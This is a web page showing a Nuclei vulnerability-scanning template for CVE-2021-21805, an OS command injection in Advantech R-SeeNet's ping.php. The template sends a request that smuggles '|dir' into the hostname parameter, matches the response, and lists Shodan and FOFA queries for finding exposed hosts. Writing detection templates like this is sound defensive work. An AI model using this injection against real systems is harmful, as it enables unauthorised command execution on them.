Skip to content
Nuclei Templates

Advantech R-SeeNet 2.4.12 - OS Command Injection

ID: CVE-2021-21805

Severity: critical

Author: arafatansari

Tags: cve2021,cve,rce,r-seenet,advantech

Description

Section titled “Description”

Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2021-21805


info:
  name: Advantech R-SeeNet 2.4.12 - OS Command Injection
  author: arafatansari
  severity: critical
  description: |
    Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21805
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21805
    cwe-id: CWE-78
    epss-score: 0.97374
    epss-percentile: 0.99895
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query:
      - http.html:"R-SeeNet"
      - http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,rce,r-seenet,advantech


http:
  - method: GET
    path:
      - "{{BaseURL}}/php/ping.php?hostname=|dir"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Ping |dir</title>"
          - "bottom.php"
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 490a004630440220579d2b94269c96215ca75fd23c4b28573a68170d46f6a0c48c82b706ba6a8fd50220048b4b9e3fbaa1e65d1b6cda12d6c714304b252558a1132ff201857dfb8e6512:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21805.yaml"

View on Github